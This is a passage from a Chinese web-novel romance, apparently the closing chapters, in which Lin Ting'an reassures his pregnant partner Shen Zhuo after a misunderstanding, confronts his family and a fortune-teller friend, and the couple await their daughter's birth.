林庭安从没用这样的眼神看过他。 这个男人看向自己的目光总是温柔的,是充满占有欲的,何时如此冰冷过。 沈茁感觉自己的心比窗外的天还要凉,外面的雪纷纷落下,他心里的雪也开始下了。 眼眶不多时便蓄满了泪水,沈茁抽了抽鼻子,心里一阵委屈。 “你哭什么?”林庭安气笑了,明明做错事的是沈茁,他反倒先哭了! 林庭安这句话是吼出来的,言语中夹杂着怒火。 沈茁被吓了一跳,眼泪瞬间夺眶而出,豆大的泪珠串串滚过,那样子可怜极了。 “谁委屈你了,你哭什么?” 林庭安心都被沈茁哭化了,预先在心里准备好的质问全都抛在了脑后。 他立刻起身,走过去把沈茁搂紧了怀里。 小兽般的呜咽声自胸膛处响起,林庭安凝在眉间的戾气瞬间化成了心疼与怜爱。 “我还没问你为什么私自出去见别的男人,跟别人男人说说笑笑,你倒是先委屈上了。” 收紧手臂将沈茁完全包裹住,林庭安叹了口气,无奈道:“好了,别哭了,我不过走了两天怎么瘦了这么多?” “我只哄你着一会儿,等你好了必须一五一十把事情给我解释清楚,不然……” “不然我就……” 林庭安顿住了,他发现自己根本舍不得对沈茁说什么重话,满腔愤懑无处发泄,只能象征性地在沈茁脸上狠狠咬了一下。 “行了行了,我什么都没说,你有什么好哭的,我还委屈呢,我老婆怀着我的孩子背着我去见别的男人,还有说有笑举止亲密。” 林庭安咬牙切齿:“那男人还一直跟我不对付,我还没哭呢,你这猫崽掉的倒是快。” “我没有,我没有!” 沈茁哭得更大声了,他从林庭安寥寥几语中猜出岑复春接近自己或许是别有用心,心中的愧疚更盛了。 “好好好,没有没有。” “身上怎么这么凉,”林庭安抬手在沈茁手臂上摩挲了几下,“行了,小祖宗,你再这样哭仟仟也跟着哭了。” 说什么都没有提孩子有用,此言一出,沈茁果然立刻噤声了。 他紧紧抿着嘴唇,任由林庭安擦掉自己脸上的眼泪。 林庭安真是没招了,他低声下气地哄人没用,一提到孩子反倒比什么灵丹妙药都有效。 沈茁啊沈茁,你究竟是好哄还是难哄? 帮沈茁擦干眼泪,脱掉他身上沉重的外套,林庭安大手一挥抱着人进了卧室。 用热毛巾擦了擦沈茁被冻得通红的地方,摆弄布娃娃一样帮沈茁换好睡衣,让他清清爽爽进了被窝。 忙活完这些,林庭安才恍惚回过了神,他可真是伺候沈茁伺候习惯了,脾气都被磨灭了。 屋子里开了制暖,被子下面的电褥子也开到了最高,不过片刻房间就暖了起来。 林庭安进了屋关上门,就见沈茁正坐在床边,小脸不知为何皱成了一团。 他走过去伸手在被子下面摸了一下,暖烘烘的温度正好。 “怎么不进去?” 林庭安蹲在沈茁面前,牵住了沈茁搭在膝盖上的手:“你乖一点,进被窝暖和暖和,这场雪来得急,估计没多久就要供暖了。” 沈茁没说话,长长的睫毛抖了抖,半晌,嗫喏道:“你怎么突然回来了?” “你还好意思问?”一提到这个林庭安就来气,“听说你想给我下药,让我不孕不育?” “我……我没有!” 沈茁这次是真急了,他咬了下唇,慌张道:“明明是你重男轻女!” “我什么时候重男轻女了?!” 林庭安满脸问号,是他做的他认,不是他做的他也不对允许这屎盆子扣到他头上。 “你不重男轻女,那天视频你为什么用那样的眼神看我织的小娃娃?你还问它为什么是长头发,这不就是重男轻女。” 说着,沈茁嘴巴一瘪,眼瞧着又要哭出来。 “我那么问是因为我一朋友算我命里有子,我以为你肚子里是个小子,所以才……” 林庭安猛地站起身,眉头皱成了川字,他脑子乱得很,燥得来回踱步。 “爸妈带我去产检验了宝宝的性别,是女孩,”沈茁瞥了林庭安一眼,嘟囔道:“你那朋友挺不靠谱的。” “验性别?”林庭安眉头皱得更深了,“你们究竟有多少事在瞒着我?” 站在原地思考了一会儿,他脑中的那条线倏地明朗起来。 林庭安将事情的经过猜出了个大概,他一拍脑袋眼中闪过道精光。 “所以你跟岑复春是怎么认识的?”这是林庭安最疑惑的地方。 “他是小佳的舅舅。”沈茁的手指捻在一起,心里没由来地发虚。 “原来是这样,原来是这样。” 林庭安恍然大悟,他在原地转了几圈,突然停下脚步,冲过来抓住了沈茁的肩膀:“你以为我重男轻女,以为我不爱孩子,所以约了岑复春见面?” “你们都聊了什么?”林庭安步步紧逼,“一起密谋怎么离开我?怎么让我的孩子变成他的孩子?” “你……” 沈茁惊讶抬头,那样子就好像在说:“你怎么知道?” “岑复春这人最阴险狡诈,”林庭安冷哼一声,“还有你……” 他走上前凝视沈茁的眼睛,一字一顿道:“我不是承诺过我只会有仟仟这一个孩子,你到底在担心些什么?” “我怎么能不担心!” 沈茁蹭的站起来,抬头仰望着林庭安:“你根本不知道你爸妈前后的态度转变有多大,他们知道宝宝是女孩之后立刻就不放在心上了,这叫我怎么能不担心!” “你知不知道我有多害怕你会跟你父母站在一起,你会抛弃我和仟仟。” 沈茁话还没说完眼泪就先流了出来,他别过头边哭边说:“你知不知道我下定了多大的决心选择相信你。” “我把我和仟仟的未来都压在你身上了,你知道吗?!” 沈茁鲜少表露出如此强烈的情绪,林庭安从这只言片语中体会到了他沉重的挣扎。 这个刚刚成年孩子承受了太多他不该承受的。 “是我的疏忽,”林庭安揽过沈茁的腰身,环住了他高挺的肚子,“乖,你先上床暖和暖和,把事情仔细讲给我听,好吗?” “相信我,我说过的话从来作数,我说了只有仟仟就只有仟仟,其他的你不必担心。” 掌心贴着沈茁的头发的轻抚,林庭安郑重承诺:“我知道你在担心什么,我也是第一次做父亲,或许有做得不好的地方,但我对你对孩子绝对是真心的。” “就相信我这一次,往后你只需看我怎么做就好,嗯?” “嗯,”沈茁在林庭安怀里点头,主动环住了男人的腰,“那你跟我一起上床,我想你抱着我,我想你了。” “好,”林庭安亲吻沈茁的发顶,松开人将他带到了床上,“快进去,现在正热着呢。” 沈茁点点头,乖乖进了被窝。 果然很暖,像老家总是烧过火的热炕,暖身又暖心。 林庭安搂着沈茁靠坐在床头,两人紧紧依偎在一起。 落雪时分,沈茁细细讲述着自己这几天的遭遇。 窗沿上的积雪压塌了一小节时,屋内细碎的低语才停下来。 “这人可真够恶心的,”林庭安肌肉紧绷,手指捏在一起发出了咔哒的声响,他用力捏了一下沈茁的手心,“你没同意吧?” 沈茁枕在林庭安的肩上,刚想说“没有”就听头顶那人忿忿道:“他抢我生意也就算了,趁我不在家抢我老婆孩子算什么男人!” “你没有生气吧?” 沈茁抬起眼皮,动作温柔贴上了林庭安的胸膛,边帮他顺气边劝道:“你别气了,我什么都没答应。” 其实他是聊到最后突然有些害怕,才找了个借口就溜走的。 沈茁悄悄松了口气,还好他提前回家了,还好他选对了人。 “他送你的东西一会儿我就扔了,”林庭安气得眼冒金星,“以后你不许再跟他见面,那个叫小佳的孩子你也别见了。” “小佳很可怜的,我……” “沈茁,我就不可怜?”林庭安拔高声音,沈茁竟从他的言语中听出了一丝委屈,“我可没有那么大度,这事没有别的答案,我说不行就是不行!” “那好吧,”沈茁舔了下嘴唇,仰起头安慰似的亲了下林庭安的嘴角,“老公,你别生气了。” “我不气,你把那袋东西扔了我就不气了。” 林庭安抱着胳膊,探寻的目光投向怀里的人:“怎么样,一会儿我陪你下楼,我要亲眼看着你把东西扔进垃圾桶。” “那些东西都很贵的,”沈茁哎呦了一声,“只是给宝宝的金手镯和小首饰,你要是不喜欢让人还回去就行,何必扔了呢?” “什么破金手镯,你想要我可以每天给仟仟买一个,一年三百六十五天不重样。” 林庭安腾一下坐起身,言辞坚决:“我不管,必须扔了。” “这么大个人了怎么还跟小孩一样,”沈茁跟着坐起来,主动凑过去哄人,“好啦,你让人送回去也算是表达我的态度了。” “不然我岂不是还要亲自打电话给他,你说呢?” 沈茁这话说得没有一丝错处,林庭安思索良久,脑中生出了个完美的方案。 “你可真会拿捏我,”他捏了捏沈茁的脸,终于松了口,“那好,这事就交给我,你就在家好好休息。” “嗯,后面我也不打算出门了。” 沈茁暗中摸上自己的肚子,昨晚的阵痛依旧叫他胆战心惊。 他望向窗外,冬天提前来了,他也要窝在家里过冬了。 这一场突来的大雪一直持续到半夜才停。 晚上,卧室里留了盏小夜灯,林庭安把沈茁哄睡后就悄悄离开了房间。 他锁上书房的门,打开了手机通讯录。 目光扫过一个个人名,心里开始盘算先从哪里下手。 夜深人静,桌前暗影。 林庭安用一晚的时间做好了后面的全部安排。 他的人他的孩子,不许任何人染指,也不许任何人欺辱。 等着吧,林庭安合上电脑,桌上的仿古台灯也跟着颤了颤。 他会让所有人都付出代价的。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第79章【正文完结】 第79章 第二天, 林庭安直奔王启仁所在的公寓。 他忍了又忍才没直接踹门而入,用力敲了很久,王启仁才慢悠悠开了门。 “你终于来了!” 王启仁双眼放光,拉着林庭安就往屋里走, 边走边念叨:“你手下的人收集的资料我都看了, 内容很全面, 足以把那个姓方的送进监狱。” “不过方家的根基太稳,这事还得你出面才行。” “我过来不是跟你说这个的, ”林庭安铁青着脸, 幽深的目光钉在了王启仁的脸上, “我问你,你之前算出我命里有一子,你还记得吗?” “嘿呦,你还真是提醒我了。” 王启仁竖起手指在空中点了两下, 旋即转身从另一个房间拿了东西出来。 写满了黑油油大字的宣纸拿在手里, 王启仁步调轻快,走到林庭安面前缓缓将那张宽大的宣纸展开。 “上次不是说要给你这孩子取名, ”他挑眉道, “你看看有没有喜欢的, 都是按照你孩子的八字取的。” “你还能算出仟仟的八字?” 林庭安快速扫过眼前的宣纸,王启仁的字就跟他的人一样疯,不能说是龙飞凤舞只能说是状似狗爬。 他辨认了许久,才零星认全了几个名字。 林酌卮, 林梦檀,林…… “你知道沈茁怀的是女孩?” 林庭安咬着牙,瞋目切齿:“你既然知道,当时为什么说沈茁怀的是男孩?” 王启仁不解:“我什么时候说是男孩了?” “不是你说的, 我命有一子,一‘子’。” 林庭安将“子”字咬得极重,因为这个他老婆孩子险些成了别人的,他怎么可能不生气。 “我说的子指的是孩子,”王启仁哼笑,高声道:“谁说是儿子了?” “好,好好好,”林庭安气笑了,“就当是我理解错了,好好好。” 原来人气极了时真的会笑出来,林庭安满眼无奈,转头就走。 “哎,这宣纸你拿着。”王启仁连忙把手里的宣纸对折叠好塞给了林庭安。 林庭安真是被气到了,接过那张薄纸头也没回径直走了出去。 王启仁站在他身后摸了摸鼻子,大喊:“你认真看看,最后用哪个都不亏。” 林庭安抬手,默然不语。 见完王启仁林庭安立刻开车回了老宅。 刚下完雪路面比刚擦好的镜子还要滑,车子还没来得及装防滑胎,他不得不放慢了速度。 这也让林庭安有足够时间去思考该怎么跟自己的父母摊牌。 林建群虽然在生意场上叱咤风云了一辈子,但家里的事多半还是听唐卿的。 自己的父母自己知道,林庭安下定决定这次要跟他们说清楚,闹得再不好看他也不能让沈茁受委屈。 这小孩命苦了十几年,让他给遇着了,以后就都得过好日子。 林庭安出门前没舍得叫醒沈茁,因此沈茁这一觉睡到了日上三竿才醒。 他迷蒙地从床上坐起,愣了好一会才缓缓起身下了床。 家里少了几个阿姨一下子冷清了不少,沈茁甚至有些不习惯。 他走到厨房,林庭安果然给他留了份早餐。 可惜,现在已经快中午了。 沈茁笑了笑,也不知道这吃的算是早饭还是午饭。 囫囵吃了几口面包,他简单收拾了一下桌面就去了书房。 入门处的书架上放了几本还没拆封的工具书,沈茁把那摞书抱到客厅,边等林庭安边翻看了起来。 昨晚两人入睡前林庭安就跟他说了这事。 沈茁底子薄出国之后肯定会有诸多不适,尤其在语言方面。 预科是肯定要读的,现在他也要开始自学英语,到时候才不至于乱了手脚。 除了语言林庭安还包年订购了几家设计相关的杂志,叫沈茁闲着没事时看一看,就当陶冶情操了。 “乖乖学习,你也不想仟仟有个高中学历的爸爸吧?” 昨晚,林庭安在亲吻结束后贴在他耳边说了这么句话,惹得他又羞又臊。 沈茁双手捧住自己的脸,哪怕只是短暂的回想脸上热度都会急剧升温。 他翻开最上面的单词书,硬逼着自己开始记单词。 林庭安说得对,他要努力提升自己,不仅是为了孩子也是为了他自己。 这个世界存在太多可能,不是说当了一年服务生就要一辈子都做服务生。 他有资源有助力,就要看准时机乘着东风奔向更辽阔的天空。 生命的际遇就是如此神奇,你永远也不知道当前承受的痛苦会不会变成往后甘甜。 仔细回想,如果他几个月前没有被那人骗去顶包,他就不会遇到林庭安也不会有仟仟这样可爱的女儿。 所以只要努力活下去,沈茁记下了书中的第一个单词,不要abandon,坚持下去总会迎来属于自己的光辉。 下午,又开始下雪了。 屋外大雪纷飞,屋内的温度反而升高了不少。 沈茁猜测是小区开始供暖了,他再次感叹不愧是高档小区效率就是高。 林庭安就是在这时顶着满身风雪推开了家门。 他脸上的表情可以说是十分难看,额角和左脸都带着伤。 沈茁看了一阵心惊肉跳,忙走过去颤颤巍巍抬起手,想要抚摸林庭安额头的青紫。 “怎么搞的?”他满眼心疼,红着眼睛问:“你跟爸妈吵架了吗?他们打你了吗?” “没事,不碍事,”林庭安握住沈茁的手,拭掉了他眼角的一滴泪,“别哭,一点也不疼。” “我……我不哭了,我不哭了。” 沈茁努力擦掉脸上的眼泪,奈何他擦得越快泪珠掉得越快。 “好了,不过这一点伤对于我来说约等于无,”林庭安抱住沈茁,下巴抵在沈茁的头顶,缓缓道:“咱们搬家吧。” “好,”沈茁闭上眼睛,紧紧攥着林庭安的衣服,静静感受着男人身上清冽的味道,“都听你的,你说什么都好。” “沈茁,”林庭安沉静道,“现在我也只有你了。” “是我和宝宝,”沈茁闷在林庭安的胸膛,小声呜咽道:“你有我们,我们都爱你。” “嗯,我知道,你们都爱我。” 我也爱你们。 第二天两人就收拾行李搬去了郊区的一栋别墅。 那里环境好,距离市区也没有那么远,平时又没什么人出入很适合沈茁养胎。 唯一的不足是距离公司太远,林庭安每日有大半的时间都花在了通勤上。 这样来回奔波的日子林庭安过了三个多月,二月初距离沈茁预产期还有大半个月时他直接不去公司了,每天呆在家里陪老婆孩子。 沈茁喜清净,家里除了王秋梅这个信得过的没再请别的阿姨。 郊区地势低,积雪都堆在院子里无人清理,林庭安便叫了人来处理房屋周围的积雪。 沈茁在雪堆里玩久了很是不舍,在清理人员赶来之前硬是拉着林庭安出了屋。 两人穿上了羽绒服站在前院堆雪人,准确来说是沈茁在看着林庭安堆雪人。 “去屋里拿个胡萝卜,”林庭安拍了拍手套上的雪,朝沈茁喊道:“再拿个围脖给小雪围上。” “好!” 沈茁立刻进屋,没几分钟就捧了一兜子东西出来。 胡萝卜插上去当鼻子,围脖围在小雪的脖子上,再加一副手套,头上放一个粉红色的小蝴蝶结。 沈茁看着面前被装点得粉粉嫩嫩的小雪人,拍手道:“真可爱,可惜仟仟还没出来,看不到这么可爱的雪人了。” 他垂下眸子,神色暗淡下来,暗红色的围脖绕在脖子上遮住了他大半的脸。 白雾自鼻息处呼出,柔化了沈茁泛红的脸颊。 林庭安走上前扶住沈茁圆滚的肚子,抬手在他鼻尖点了一下:“快了,下个礼拜就得去医院待产了,急什么。” “哼,你还说我呢,”沈茁笑着扬起头,“也不知道是谁昨晚还在感叹怀胎十月太久了,宝宝应该五个月就生出来才好。” “小脾气越来越大了,”林庭安压下沈茁嘴边的毛茸围巾,低头吻上了他的唇,“脾气大点好,傲娇点也好,这样才不受欺负。” 明明曾经有过无数的亲吻,沈茁依旧会沉沦在林庭安的下一个吻里。 他小口喘着气,热度从脖颈攀升到了脸颊。 “我……我要回屋了。” 沈茁抬脚就走,林庭安跟他身后大跨一步扶住了他:“慢点走,你现在身子重,摔倒了怎么办?” “哎呀,不会的,我心里有数。” “你有数,我看你现在是越来越没数了,前些天非吵着要吃方便面,那种没营养的东西是现在应该吃的吗?” “你现在越来越像唐僧了,我只不过是嘴馋,最后不是也只吃了一口?” “那是一口吗?那……” 两道声音越来越远,别墅外那颗老树下突然闪过一道身影。 厚重的白雪被慌乱的脚步踩得吱嘎作响,长长的脚印直通向远方,神秘悠远。 转眼预产期就要到了。 去医院的前一天,沈茁闲来无事坐在家里看电视。 明天他就要去医院待产了,紧张是有的,但却远没有想象中的那么强烈。 生产包和待产的行李一个月前就备好了,一切都准备就绪只差这临门一脚小仟仟能见到爸爸爹爹了。 这天沈茁也不知怎么了,忽然很想吃最开始那家甜品店的橙子蛋糕。 他的口味被林庭安养叼了,黄油和糖精的用量都有讲究,林庭安只得亲自去市里给他买蛋糕,除了他没人能摸准沈茁的喜好。 等小蛋糕的过程十分漫长,沈茁百无聊赖躺在沙发上,电视随手播到了新闻频道。 “据报道方氏集团方*明因涉嫌猥亵儿童致死被警方拘留逮捕,传闻称被猥亵儿童为方*明养女……” 这个新闻…… 沈茁坐起身,蹙眉看着电视上的报道。 好熟悉的名字,虽然被消掉了一个字,但他还是想到了前不久在书房看到的那份文件。 上面的人名跟电视上报道的一模一样,甚至林庭安还不知从哪搜罗到了一份红头文件。 正是这个姓方的人的廉政报告,其复印件被人用红笔圈出了多处可疑的地方。 原来这人这么坏! 沈茁忿忿关掉了电视,不要让仟仟听到这么恶心的东西! 突然,窗户处传来了一串敲击声。 循声望去,沈茁看到了一个他怎么都猜不到的人。 闵舟? 他捧着肚子,小步走过去开了门。 闵舟赶忙走过来,他红着眼睛整个人看起来像失去光彩的明珠,暗淡无光。 “你……你怎么会出现在这?” 沈茁惊得睁大了眼睛,他顿了下侧开身体说:“快进屋,外面太冷了,你怎么穿这么少?” “我没事,我只是想要跟你说几句话,可以吗?” 闵舟唇齿发涩,抓住沈茁的手腕,恳切道:“这些天林庭安一直在家,我好不容易才找到机会跟你说上话。” “你想说什么?” “不要让林庭安放过方汉明!”闵舟眼中闪着火花,“姓方的就是个畜生,他怎么舍得对一个孩子下手!” 方汉明? 刚刚新闻里的那个? “他不是已经被刑拘了吗?”沈茁不明所以。 “方家根基深厚,为了自保肯定会开出丰厚的条件,只要林庭安肯放手不再追究,我怕……” 闵舟握住沈茁的手紧了又紧,他怕林庭安会为了利益选择跟方汉明和解。 几个月前,他主动约沈茁见面的事被林庭安知道了,这人就像疯了一样攻击他父母的小公司。 没有哪一家小企业能承受住这样的打击,他和梁远找过去再三恳求林庭安才肯收手,让家里的小公司有了些微喘息的机会。 方汉明的事闵舟可以说是全然不知,还是前些天岑复春一个电话过来他才知道,原来他去世学姐的孩子竟然落到了这样一个恶魔的手里! 岑复春这人诡异得很,肯定是故意告诉他这事想要刺激他。 闵舟深吸口气,他才没有那么傻会一而再再而三地被人牵着鼻子走。 岑复春刚从方汉明的事情里把自己摘出来,可谓是元气大伤,他又怎么会上赶着给岑复春当炮灰。 “不会的,”沈茁勾起唇角,“你放心,庭安不是这样的人,他不会因为眼前的利益背弃原则的。” “这一点你大可放心。” “好,这样就好,”闵舟怅然地垂下手臂,露出了苦涩的笑容,“对不起,之前……你别放在心上。” “没关系,”沈茁裹紧衣服,“其实你挺优秀的,我看了你跳舞的视频,很好看很优雅。” “你……不必在一棵树上吊死的,也不应该为了追求得不到的事物让自己变得面目可憎,这……” “谢谢,”闵舟打断了沈茁的话,他笑了笑,“谢谢,以后都不会了。” 说完,他朝沈茁点了个头,不过片刻,纤瘦的身影便消失在了皑皑白雪中。 进了屋,沈茁不免有些唏嘘。 他怎么都想不到闵舟竟然会来找自己,这个人之前是那么高傲不可一世,竟然也会有低三下气的时候。 今天的甜橙蛋糕沈茁吃得格外有滋有味,他跟林庭安并肩窝在床上,两人双手紧握把一小块蛋糕分着吃完了。 “甜吗?” 林庭安吃掉沈茁嘴边的奶油,抚摸他红润的双唇:“再想吃可就只能吃我嘴里的了。” “好……好吃。” 沈茁眼角泛起了红晕,身体软成一团倒在林庭安怀里。 窗外云卷云舒,一轮圆月高挂枝头。 月光照进屋里,打在两人相互依偎的身影上。 床头上,三个玩偶并排靠在一起,同样沾染了蟾光。 仟仟宝贝,快快来吧,爸爸和爹爹已经准备好把全部爱都浇灌给你了。 ——正文完——魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m